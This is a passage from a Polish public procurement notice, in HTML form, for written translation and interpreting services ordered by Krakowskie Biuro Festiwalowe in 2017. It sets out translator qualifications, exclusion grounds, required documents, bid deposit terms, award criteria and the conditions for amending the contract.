kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej;
- język rosyjski - co najmniej 3 tłumaczy, w tym 1 osoba o uprawieniach tłumacza przysięgłego, posiadającą co najmniej pięcioletnie doświadczenie zawodowe w zakresie wykonywania tłumaczeń przysięgłych języka rosyjskiego; 1 osoba z wykształceniem wyższym (filologia rosyjska lub inny kierunek ze specjalizacją w dziedzinie translatoryki języka rosyjskiego - studia drugiego stopnia lub studia podyplomowe), która przetłumaczyła z/na język rosyjski co najmniej 5 publikacji powyżej 3.000 znaków każda, zawartych w wydawnictwach opatrzonych numerem ISSN lub ISBN, dotyczących kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej; 1 osoba będącą native speakerem języka rosyjskiego, mającą wykształcenie wyższe, która współpracowała przy tłumaczeniu pisemnym z/na język rosyjski co najmniej 5 tekstów powyżej 3.000 znaków każdy, zawartych w wydawnictwach opatrzonych numerem ISSN lub ISBN, dotyczących kultury, sztuki, literatury, teatru, muzyki, turystyki, historii, reklamy, filmu, biznesu, z wyłączeniem publikacji dla dzieci i publikacji o tematyce religijnej i medycznej;
<br />
                Zamawiający wymaga od wykonawców wskazania w ofercie lub we wniosku o dopuszczenie do udziału w postępowaniu imion i nazwisk osób wykonujących czynności przy realizacji zamówienia wraz z informacją o kwalifikacjach zawodowych lub doświadczeniu tych osób:
                
                  tak
                <br />
                Informacje dodatkowe:
                1. Wykonawca może w celu potwierdzenia spełniania warunków udziału w postępowaniu, w stosownych sytuacjach oraz w odniesieniu do zamówienia lub jego części, polegać na zdolnościach technicznych lub zawodowych innych podmiotów, niezależnie od charakteru prawnego łączących go z nim stosunków prawnych. Wykonawca, który polega na zdolnościach lub sytuacji innych podmiotów, musi udowodnić Zamawiającemu, że realizując zamówienie, będzie dysponował niezbędnymi zasobami tych podmiotów, w szczególności przedstawiając zobowiązanie tych podmiotów do oddania mu do dyspozycji niezbędnych zasobów na potrzeby realizacji zamówienia. W odniesieniu do warunku doświadczenia, wykonawcy mogą polegać na zdolnościach innych podmiotów, jeżeli podmioty te zrealizują usługi, do realizacji których te zdolności są wymagane.
2. W przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia, Zamawiający wymaga aby warunek doświadczenia w każdej z części (pkt 1 ppkt 3 lit. a lub b SIWZ), spełniał co najmniej 1 wykonawca. W przypadku pozostałych warunków, Zamawiający dopuszcza łączenie potencjału wykonawców wspólnie ubiegających się o udzielenie zamówienia.
</div><b>
                III.2) PODSTAWY WYKLUCZENIA
              </b><br /><div style="padding-left: 20px"><b>III.2.1) Podstawy wykluczenia określone w art. 24 ust. 1  ustawy Pzp</b><br /><b>III.2.2) Zamawiający przewiduje wykluczenie wykonawcy na podstawie art. 24 ust. 5 ustawy Pzp</b>
                  tak
                  <br />
                  Zamawiający przewiduje następujące fakultatywne podstawy wykluczenia:
                <br />
                  (podstawa wykluczenia określona w art. 24 ust. 5 pkt 1 ustawy Pzp)
                <br />
                  (podstawa wykluczenia określona w art. 24 ust. 5 pkt 2 ustawy Pzp)
                <br />
                  (podstawa wykluczenia określona w art. 24 ust. 5 pkt 3 ustawy Pzp)
                <br />
                  (podstawa wykluczenia określona w art. 24 ust. 5 pkt 4 ustawy Pzp)
                <br />
                  (podstawa wykluczenia określona w art. 24 ust. 5 pkt 5 ustawy Pzp)
                <br />
                  (podstawa wykluczenia określona w art. 24 ust. 5 pkt 6 ustawy Pzp)
                <br />
                  (podstawa wykluczenia określona w art. 24 ust. 5 pkt 7 ustawy Pzp)
                <br />
                  (podstawa wykluczenia określona w art. 24 ust. 5 pkt 8 ustawy Pzp)
                <br /></div><b>
                III.3) WYKAZ OŚWIADCZEŃ SKŁADANYCH PRZEZ WYKONAWCĘ W CELU WSTĘPNEGO POTWIERDZENIA, ŻE NIE PODLEGA ON WYKLUCZENIU ORAZ SPEŁNIA WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ SPEŁNIA KRYTERIA SELEKCJI
              </b><br /><div style="padding-left: 20px"><b>
                  Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu
                </b><br />
                  tak
                <br /><b>
                  Oświadczenie o spełnianiu kryteriów selekcji
                </b><br />
                  nie
                </div><b>
                III.4) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW , SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 3 USTAWY PZP:
              </b><br /><div style="padding-left: 20px">1. Zamawiający wezwie wykonawcę, którego oferta została najwyżej oceniona do złożenia w wymaganym terminie aktualnych na dzień złożenia następujących dokumentów: 
1) informacji z Krajowego Rejestru Karnego w zakresie określonym w art. 24 ust. 1 pkt 13, 14 i 21 ustawy Prawo zamówień publicznych oraz, odnośnie skazania za wykroczenie na karę aresztu, w zakresie określonym przez Zamawiającego na podstawie art. 24 ust. 5 pkt 5 i 6 ustawy Prawo zamówień publicznych, wystawionej nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert;
2) zaświadczenia właściwego naczelnika urzędu skarbowego potwierdzającego, że wykonawca nie zalega z opłacaniem podatków, wystawionego nie wcześniej niż 3 miesiące przed upływem terminu składania ofert, lub innego dokumentu potwierdzającego, że wykonawca zawarł porozumienie z właściwym organem podatkowym w sprawie spłat tych należności wraz z ewentualnymi odsetkami lub grzywnami, w szczególności uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu;
3) zaświadczenia właściwej terenowej jednostki organizacyjnej Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia Społecznego albo innego dokumentu potwierdzającego, że wykonawca nie zalega z opłacaniem składek na ubezpieczenia społeczne lub zdrowotne, wystawionego nie wcześniej niż 3 miesiące przed upływem terminu składania ofert, lub innego dokumentu potwierdzającego, że wykonawca zawarł porozumienie z właściwym organem w sprawie spłat tych należności wraz z ewentualnymi odsetkami lub grzywnami, w szczególności uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu.
4) odpisu z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu potwierdzenia braku podstaw wykluczenia na podstawie art. 24 ust. 5 pkt 1 ustawy Prawo zamówień publicznych;
5) oświadczenia wykonawcy o niezaleganiu z opłacaniem podatków i opłat lokalnych, o których mowa w ustawie z dnia 12 stycznia 1991 r. o podatkach i opłatach lokalnych (Dz. U. z 2016 r., poz. 716). Wzór oświadczenia stanowi załącznik nr 6 do SIWZ.

2. W sytuacji gdy wykonawca polega na zdolnościach lub sytuacji innych podmiotów na zasadach określonych w art. 22a ustawy Prawo zamówień publicznych, Zamawiający wezwie wykonawcę do przedstawienia w odniesieniu do tych podmiotów dokumentów, o których mowa w punkcie powyżej (pkt 1).

3. Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, zamiast dokumentów, o których mowa w pkt 1 ppkt 1 (pkt 7 ppkt 1 SIWZ), składa informację z odpowiedniego rejestru albo, w przypadku braku takiego rejestru, inny równoważny dokument wydany przez właściwy organ sądowy lub administracyjny kraju, w którym wykonawca ma siedzibę lub miejsce zamieszkania lub miejsce zamieszkania ma osoba, której dotyczy informacja albo dokument, w zakresie określonym w art. 24 ust. 1 pkt 13, 14 i 21 oraz ust. 5 pkt 5 i 6 ustawy Prawo zamówień publicznych. Dokumenty powinny być wystawione nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert.

4. Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, zamiast dokumentów, o których mowa w  pkt 1 ppkt 2-4 (pkt 7 ppkt 2-4 SIWZ) składa dokument lub dokumenty wystawione w kraju, w którym wykonawca ma siedzibę lub miejsce zamieszkania, potwierdzające odpowiednio, że nie zalega z opłacaniem podatków, opłat, składek na ubezpieczenie społeczne lub zdrowotne albo że zawarł porozumienie z właściwym organem w sprawie spłat tych należności wraz z ewentualnymi odsetkami lub grzywnami, w szczególności uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu i nie otwarto jego likwidacji ani nie ogłoszono upadłości,. Dokumenty powinny być wystawione odpowiednio nie wcześniej niż 3 lub 6 miesięcy przed upływem terminu składania ofert.

5. Jeżeli w kraju, w którym wykonawca ma siedzibę lub miejsce zamieszkania lub miejsce zamieszkania ma osoba, której dokument dotyczy, nie wydaje się dokumentów, o których mowa w pkt 3 i 4 (pkt 15 i 16 SIWZ), zastępuje się je dokumentem zawierającym odpowiednio oświadczenie wykonawcy, ze wskazaniem osoby albo osób uprawnionych do jego reprezentacji, lub oświadczenie osoby, której dokument miał dotyczyć, złożone przed notariuszem lub przed organem sądowym, administracyjnym albo organem samorządu zawodowego lub gospodarczego właściwym ze względu na siedzibę lub miejsce zamieszkania wykonawcy lub miejsce zamieszkania tej osoby. Dokumenty powinny być wystawione odpowiednio nie wcześniej niż 6 lub 3 miesiące przed upływem terminu składania ofert.

6. Wykonawca mający siedzibę na terytorium Rzeczypospolitej Polskiej, w odniesieniu do osoby mającej miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, której dotyczy dokument wskazany w pkt 1 ppkt 1 (pkt 7 ppkt 1 SIWZ), składa dokument, o którym mowa w pkt 15 SIWZ, w zakresie określonym w art. 24 ust. 1 pkt 14 i 21 oraz ust. 5 pkt 6 ustawy Prawo zamówień publicznych. Jeżeli w kraju, w którym miejsce zamieszkania ma osoba, której dokument miał dotyczyć, nie wydaje się takich dokumentów, zastępuje się go dokumentem zawierającym oświadczenie tej osoby złożonym przed notariuszem lub przed organem sądowym, administracyjnym albo organem samorządu zawodowego lub gospodarczego właściwym ze względu na miejsce zamieszkania tej osoby. Dokumenty powinny być wystawione nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert.

</div><b>
                III.5) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 1 USTAWY PZP
              </b><br /><div style="padding-left: 20px"><b>III.5.1) W ZAKRESIE SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU:</b><br />Zamawiający wezwie wykonawcę, którego oferta została najwyżej oceniona do złożenia w wymaganym terminie aktualnych na dzień złożenia następujących dokumentów: 
1) wykazu usług wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, w okresie ostatnich 3 lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy  w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których usługi zostały wykonane, oraz załączeniem dowodów określających czy te usługi zostały wykonane lub są wykonywane należycie, przy czym dowodami, o których mowa, są referencje bądź inne dokumenty wystawione przez podmiot, na rzecz którego usługi były wykonywane, a w przypadku świadczeń okresowych lub ciągłych są wykonywane, a jeżeli z uzasadnionej przyczyny o obiektywnym charakterze wykonawca nie jest w stanie uzyskać tych dokumentów  oświadczenie wykonawcy; w przypadku świadczeń okresowych lub ciągłych nadal wykonywanych referencje bądź inne dokumenty potwierdzające ich należyte wykonywanie powinny być wydane nie wcześniej niż 3 miesiące przed upływem terminu składania ofert. Wzór wykazu usług stanowi załącznik nr 7 do SIWZ.

2) wykazu osób, skierowanych przez wykonawcę do realizacji zamówienia publicznego, w szczególności odpowiedzialnych za świadczenie usług, wraz z informacjami na temat ich kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami. Wzór wykazu osób dla części 1 stanowi załącznik nr 8A do SIWZ, dla części 1 stanowi załącznik nr 8B do SIWZ.
<br /><b>III.5.2) W ZAKRESIE KRYTERIÓW SELEKCJI:</b><br /></div><b>
                III.6) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 2 USTAWY PZP
              </b><br /><div style="padding-left: 20px"></div><b>
                III.7) INNE DOKUMENTY NIE WYMIENIONE W pkt III.3) - III.6)
              </b><div style="padding-left: 20px">Pełnomocnictwa do reprezentowania wykonawcy/wykonawców wspólnie ubiegających się o udzielenie zamówienia w postępowaniu albo reprezentowania w postępowaniu i zawarcia umowy w sprawie zamówienia publicznego (jeżeli dotyczy).</div></div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA IV: PROCEDURA
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><b>IV.1) OPIS </b><br /><b>IV.1.1) Tryb udzielenia zamówienia: </b>
                przetarg nieograniczony
              <br /><b>IV.1.2) Zamawiający żąda wniesienia wadium:</b><div style="padding-left: 20px">
                  tak,
                  <br />
                  Informacja na temat wadium
                  <br />1. Wykonawca przed upływem terminu składania ofert zobowiązany jest do wniesienia wadium w wysokości:
1) dla części 1 zamówienia: 1.500,00 zł (słownie: tysiąc pięćset złotych 00/100);
2)	dla części 2 zamówienia: 2.000,00 zł (słownie: dwa tysiące złotych 00/100).

2. Wadium może być wniesione w jednej lub w kilku  formach określonych w art. 45 ust. 6 ustawy Prawo zamówień publicznych.

3. Wadium wnoszone w pieniądzu należy wpłacić przelewem na następujący rachunek bankowy Zamawiającego PKO Bank Polski 81 1020 2892 0000 5002 0590 9983  z dopiskiem: wadium  tłumaczenia, część numer .  DP-271-2/2017. Wadium musi znaleźć się na wskazanym rachunku bankowym przed upływem terminu składania ofert. Za chwilę wpływu wadium uznaje się moment uznania rachunku bankowego Zamawiającego. 

4. Wadium wnoszone w formie poręczenia lub gwarancji musi:
1) być wystawione na Zamawiającego  Krakowskie Biuro Festiwalowe, ul. Wygrana 2, 30-311 Kraków. 
2) mieć okres ważności nie krótszy niż okres związania ofertą.
3) zawierać w swojej treści oświadczenie poręczyciela (gwaranta), w którym zobowiązuje się on do bezwarunkowej wypłaty kwoty wadium na pierwsze żądania Zamawiającego, które zawierać będzie oświadczenie o zaistnieniu jednej z okoliczności wskazanych w art. 46 ust. 4a i ust. 5 ustawy Prawo zamówień publicznych lub w przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia  na pierwsze żądanie Zamawiającego, które zawierać będzie oświadczenie o zaistnieniu jednej z okoliczności wskazanych w art. 46 ust. 4a i ust. 5 ustawy Prawo zamówień publicznych w stosunku do co najmniej jednego z wykonawców wspólnie ubiegających się o udzielenie zamówienia.

5. Wadium wnoszone w formie poręczenia lub gwarancji powinno zostać złożone w oryginale w sekretariacie Zamawiającego przed upływem terminu składania ofert lub załączane do oferty. W przypadku załączenia dokumentu wadium do oferty nie należy spinać tego dokumentu z ofertą ani nie należy numerować go jako kolejnej strony oferty.

6. Zamawiający zwraca wadium wykonawcy, którego oferta została wybrana jako najkorzystniejsza niezwłocznie po zawarciu umowy w sprawie zamówienia publicznego oraz wniesieniu przez tego wykonawcę zabezpieczenia należytego wykonania umowy. Pozostałym wykonawcom wadium zostanie zwrócone niezwłocznie po wyborze oferty najkorzystniejszej lub unieważnieniu postępowania.

7. Zamawiający zatrzymuje wadium w sytuacjach wskazanych w art. 46 ust. 4a i 5 ustawy Prawo zamówień publicznych.
</div><br /><b>IV.1.3) Przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b><div style="padding-left: 20px">
                  nie
                </div><br /><b>
                IV.1.4) Wymaga się złożenia ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych:
              </b><div style="padding-left: 20px">
                  nie
                <br />
                Dopuszcza się złożenie ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /></div><br /><b>
                IV.1.5.) Wymaga się złożenia oferty wariantowej:
              </b><div style="padding-left: 20px">
                  nie
                <br />
                Dopuszcza się złożenie oferty wariantowej
                <br />
                  nie
                <br />
                Złożenie oferty wariantowej dopuszcza się tylko z jednoczesnym złożeniem oferty zasadniczej:
                <br />
                  nie
                </div><br /><b>
                IV.1.6) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu
              </b><br /><i>
                (przetarg ograniczony, negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne)
              </i><div style="padding-left: 20px">
                Liczba wykonawców  <br />
                Przewidywana minimalna liczba wykonawców  <br />
                Maksymalna liczba wykonawców  <br />
                Kryteria selekcji wykonawców:
                <br /></div><br /><b>
                IV.1.7) Informacje na temat umowy ramowej lub dynamicznego systemu zakupów:
              </b><div style="padding-left: 20px">
                Umowa ramowa będzie zawarta:
                <br /><br />
                Czy przewiduje się ograniczenie liczby uczestników umowy ramowej:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /><br />
                Zamówienie obejmuje ustanowienie dynamicznego systemu zakupów:
                <br />
                  nie
                <br />
                Informacje dodatkowe:
                <br /><br />
                W ramach umowy ramowej/dynamicznego systemu zakupów dopuszcza się złożenie ofert w formie katalogów elektronicznych:
                <br />
                  nie
                <br />
                Przewiduje się pobranie ze złożonych katalogów elektronicznych informacji potrzebnych do sporządzenia ofert w ramach umowy ramowej/dynamicznego systemu zakupów:
                <br />
                  nie
                </div><br /><b>IV.1.8) Aukcja elektroniczna </b><br /><b>
                Przewidziane jest przeprowadzenie aukcji elektronicznej </b><i>(przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem) </i>
                nie
              <br /><b>Należy wskazać elementy, których wartości będą przedmiotem aukcji elektronicznej: </b><br /><b>Przewiduje się ograniczenia co do przedstawionych wartości, wynikające z opisu przedmiotu zamówienia:</b><br />
                nie
              <br />

              
                Należy podać, które informacje zostaną udostępnione wykonawcom w trakcie aukcji elektronicznej oraz jaki będzie  termin ich udostępnienia:
              
              <br />
              Informacje dotyczące przebiegu aukcji elektronicznej: 
              <br />
              Jaki jest przewidziany sposób postępowania w toku aukcji elektronicznej i jakie będą warunki, na jakich wykonawcy będą mogli licytować (minimalne wysokości postąpień): 
              <br />
              Informacje dotyczące wykorzystywanego sprzętu elektronicznego, rozwiązań i specyfikacji technicznych w zakresie połączeń:
              <br />
              Wymagania dotyczące rejestracji i identyfikacji wykonawców w aukcji elektronicznej: 
              <br />


              Informacje o liczbie etapów aukcji elektronicznej i czasie ich trwania: 
              <div style="padding-left: 20px">
                  Aukcja wieloetapowa
                  <table><tr><td>etap nr</td><td>czas trwania etapu</td></tr><tr><td></td><td></td></tr></table><br />
                Czy wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu:
                
                  nie
                <br />
                Warunki zamknięcia aukcji elektronicznej:
                <br /></div><br /><b>IV.2) KRYTERIA OCENY OFERT </b><br /><b>IV.2.1) Kryteria oceny ofert: </b><br /><b>IV.2.2) Kryteria</b><br /><div style="padding-left: 20px"><table><tr><td><i>Kryteria</i></td><td><i>Znaczenie</i></td></tr><tr><td>cena (część 1 zamówienia)</td><td>80</td></tr><tr><td>termin odwołania zleconych tłumaczeń (część 1 zamówienia)</td><td>20</td></tr><tr><td>cena (część 2 zamówienia)</td><td>80</td></tr><tr><td>termin wykonania tłumaczeń (część 2 zamówienia)</td><td>20</td></tr></table></div><br /><b>IV.2.3) Zastosowanie procedury, o której mowa w art. 24aa ust. 1 ustawy Pzp </b>(przetarg nieograniczony)
              <br />
                tak
              <br /><b>IV.3) Negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne </b><br /><b>IV.3.1) Informacje na temat negocjacji z ogłoszeniem</b><br />
              Minimalne wymagania, które muszą spełniać wszystkie oferty:
              <br /><br />
              Przewidziane jest zastrzeżenie prawa do udzielenia zamówienia na podstawie ofert wstępnych bez przeprowadzenia negocjacji
              
                nie
              <br />
              Przewidziany jest podział negocjacji na etapy w celu ograniczenia liczby ofert:
              
                nie
              <br />
              Należy podać informacje na temat etapów negocjacji (w tym liczbę etapów):
              <br /><br />
              Informacje dodatkowe
              <br /><br /><br /><b>IV.3.2) Informacje na temat dialogu konkurencyjnego</b><br />
              Opis potrzeb i wymagań zamawiającego lub informacja o sposobie uzyskania tego opisu:
              <br /><br />
              Informacja o wysokości nagród dla wykonawców, którzy podczas dialogu konkurencyjnego przedstawili rozwiązania stanowiące podstawę do składania ofert, jeżeli zamawiający przewiduje nagrody:
              <br /><br />
              Wstępny harmonogram postępowania:
              <br /><br />
              Podział dialogu na etapy w celu ograniczenia liczby rozwiązań:
              
                nie
              <br />
              Należy podać informacje na temat etapów dialogu:
              <br /><br /><br />
              Informacje dodatkowe:
              <br /><br /><b>IV.3.3) Informacje na temat partnerstwa innowacyjnego</b><br />
              Elementy opisu przedmiotu zamówienia definiujące minimalne wymagania, którym muszą odpowiadać wszystkie oferty:
              <br /><br />
              Podział negocjacji na etapy w celu ograniczeniu liczby ofert podlegających negocjacjom poprzez zastosowanie kryteriów oceny ofert wskazanych w specyfikacji istotnych warunków zamówienia:
              <br />
                nie
              <br />
              Informacje dodatkowe:
              <br /><br /><b>IV.4) Licytacja elektroniczna  </b><br />
              Adres strony internetowej, na której będzie prowadzona licytacja elektroniczna:
              <br /><div style="padding-left: 20px"></div>

              Adres strony internetowej, na której jest dostępny opis przedmiotu zamówienia w licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div>

              Wymagania dotyczące rejestracji i identyfikacji wykonawców w licytacji elektronicznej, w tym wymagania techniczne urządzeń informatycznych:
              <br /><div style="padding-left: 20px"></div>

              Sposób postępowania w toku licytacji elektronicznej, w tym określenie minimalnych wysokości postąpień:
              <br /><div style="padding-left: 20px"></div>

              Informacje o liczbie etapów licytacji elektronicznej i czasie ich trwania: 
              <div style="padding-left: 20px">
                  Licytacja wieloetapowa
                  <table><tr><td>etap nr</td><td>czas trwania etapu</td></tr><tr><td></td><td></td></tr></table><br />
                Wykonawcy, którzy nie złożyli nowych postąpień, zostaną  zakwalifikowani do następnego etapu:
                
                  nie
                </div>

              Termin otwarcia licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div>

              Termin i warunki zamknięcia licytacji elektronicznej:
              <br /><div style="padding-left: 20px"></div><br />
              Istotne dla stron postanowienia, które zostaną wprowadzone do treści zawieranej umowy w sprawie zamówienia publicznego, albo ogólne warunki umowy, albo wzór umowy:
              <br /><div style="padding-left: 20px"></div><br />
              Wymagania dotyczące zabezpieczenia należytego wykonania umowy: 
              <br /><div style="padding-left: 20px"></div><br />
              Informacje dodatkowe:
              <br /><div style="padding-left: 20px"></div><b>IV.5) ZMIANA UMOWY</b><br /><b>Przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy:</b>
                tak

                <br />
                Należy wskazać zakres, charakter zmian oraz warunki wprowadzenia zmian:
                <br />CZĘŚĆ 1 ZAMÓWIENIA
1.Wprowadzenie zmian treści umowy wymaga formy pisemnej pod rygorem nieważności. 
2. Zmiany umowy mogą być wprowadzone w przypadku zaistnienia co najmniej jednej z okoliczności określonych w art. 144 ust. 1 pkt od 2) do 6) ustawy Prawo zamówień publicznych oraz w sytuacji:
1) zmiany w zakresie udziału w realizacji zamówienia podwykonawców. W takiej sytuacji Wykonawca jest zobowiązany do przedstawienia oświadczenia, o którym mowa w art. 25a ust. 1 ustawy Prawo zamówień publicznych, lub oświadczenia lub dokumentów potwierdzających brak podstaw wykluczenia wobec tego podwykonawcy. Jeżeli zmiana albo rezygnacja z podwykonawcy dotyczy podmiotu, na którego zasoby Wykonawca powoływał się, na zasadach określonych w art. 22a ust. 1 ustawy Prawo zamówień publicznych w celu wykazania spełniania warunków udziału w postępowaniu, Wykonawca jest obowiązany wykazać Zamawiającemu, że proponowany inny podwykonawca lub Wykonawca samodzielnie spełnia te warunku w stopniu nie mniejszym niż podwykonawca, na którego zasoby Wykonawca powoływał się w trakcie postępowania o udzielenie zamówienia.
2) zmiany (przedłużenia) terminu realizacji umowy, wskazanego w § 2 ust. 1 w przypadku, gdy maksymalne wynagrodzenie Wykonawcy, o którym mowa w § 6 ust. 2 umowy nie zostanie wykorzystane do 31 marca 2018 roku;
3) zmiany osób wskazanych na liście tłumaczy (załącznik nr 2 do umowy) w szczególności w sytuacji niedyspozycji tłumacza przewidzianego przez wykonawcę do realizacji tłumaczenia lub innej niemożności skorzystania z tłumaczy wskazanych na liście tłumaczy, pod warunkiem, że nowe osoby posiadać będą co najmniej takie samo doświadczenie i uprawnienia jak osoby wskazane w tym zakresie w załączniku nr 2 do umowy;
4) zmiany wysokości wynagrodzenia Wykonawcy wynikającej z wystąpienia konieczności wykonania tłumaczenia w językach innych niż wskazane w załączniku nr 1 do umowy;
5) zmiany zakresu niniejszej umowy w sytuacji wystąpienia konieczności wykonania tłumaczenia w językach innych niż wskazane w załączniku nr 1 do umowy. W takim przypadku cena za jednostkę obliczeniową (4 godziny) tłumaczenia wynosić będzie odpowiednio 150% ceny jednostki obliczeniowej za odpowiednio tłumaczenie konsekutywne lub symultaniczne na/z języka angielskiego

CZĘŚĆ 2 ZAMÓWIENIA

1. Wprowadzenie zmian treści umowy wymaga formy pisemnej pod rygorem nieważności. 
2. Zmiany umowy mogą być wprowadzone w przypadku zaistnienia co najmniej jednej z okoliczności określonych w art. 144 ust. 1 pkt od 2) do 6) ustawy Prawo zamówień publicznych oraz w sytuacji:
1) zmiany w zakresie udziału w realizacji zamówienia podwykonawców. W takiej sytuacji Wykonawca jest zobowiązany do przedstawienia oświadczenia, o którym mowa w art. 25a ust. 1 ustawy Prawo zamówień publicznych, lub oświadczenia lub dokumentów potwierdzających brak podstaw wykluczenia wobec tego podwykonawcy. Jeżeli zmiana albo rezygnacja z podwykonawcy dotyczy podmiotu, na którego zasoby Wykonawca powoływał się, na zasadach określonych w art. 22a ust. 1 ustawy Prawo zamówień publicznych w celu wykazania spełniania warunków udziału w postępowaniu, Wykonawca jest obowiązany wykazać Zamawiającemu, że proponowany inny podwykonawca lub Wykonawca samodzielnie spełnia te warunku w stopniu nie mniejszym niż podwykonawca, na którego zasoby Wykonawca powoływał się w trakcie postępowania o udzielenie zamówienia.
2)zmiany (przedłużenia) terminu realizacji umowy, wskazanego w § 3 ust. 1 w przypadku, gdy maksymalne wynagrodzenie Wykonawcy, o którym mowa w § 6 ust. 2 umowy nie zostanie wykorzystane do 31 marca 2018 roku;
3) zmiany osób wskazanych na liście tłumaczy (załącznik nr 2 do umowy) w szczególności w sytuacji niedyspozycji tłumacza przewidzianego przez wykonawcę do realizacji tłumaczenia lub innej niemożności skorzystania z tłumaczy wskazanych na liście tłumaczy, pod warunkiem, że nowe osoby posiadać będą co najmniej takie samo doświadczenie i uprawnienia jak osoby wskazane w tym zakresie w załączniku nr 2 do umowy;
4) zmiany wysokości wynagrodzenia Wykonawcy wynikającej z wystąpienia konieczności wykonania tłumaczenia w językach innych niż wskazane w załączniku nr 1 do umowy;
5) zmiany zakresu niniejszej umowy w sytuacji wystąpienia konieczności wykonania tłumaczenia w językach innych niż wskazane w załączniku nr 1 do umowy. W takim przypadku cena za jedną stronę znormalizowanego maszynopisu wyniesie nie więcej niż 150% ceny za tłumaczenie zwykłe lub uwierzytelnione odpowiednio z lub na język angielski.

<br /><b>IV.6) INFORMACJE ADMINISTRACYJNE </b><br /><br /><b>IV.6.1) Sposób udostępniania informacji o charakterze poufnym </b><i>(jeżeli dotyczy): </i><br /><br /><b>Środki służące ochronie informacji o charakterze poufnym</b><br /><br /><b>IV.6.2) Termin składania ofert lub wniosków o dopuszczenie do udziału w postępowaniu: </b><br />
              Data: 20/02/2017, godzina: 13:30,
              <br />
              Skrócenie terminu składania wniosków, ze względu na pilną potrzebę udzielenia zamówienia (przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem):
              <br />
                nie
              <br />
              Wskazać powody:
              <br /><br />
              Język lub języki, w jakich mogą być sporządzane oferty lub wnioski o dopuszczenie do udziału w postępowaniu
              <br />&gt;
              Język polski<br /><b>IV.6.3) Termin związania ofertą: </b>
                okres w dniach: 30 (od ostatecznego terminu składania ofert)
              <br /><b>IV.6.4) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia:</b>
                nie
              <br /><b>IV.6.5) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, jeżeli środki służące sfinansowaniu zamówień na badania naukowe lub prace rozwojowe, które zamawiający zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia, nie zostały mu przyznane</b>
                nie
              <br /><b>IV.6.6) Informacje dodatkowe:</b><br /></div></div><div class="headerLarge_xforms" style="text-align: center"><u>
                ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH
              </u></div><div><b>Część nr: </b>1
                  
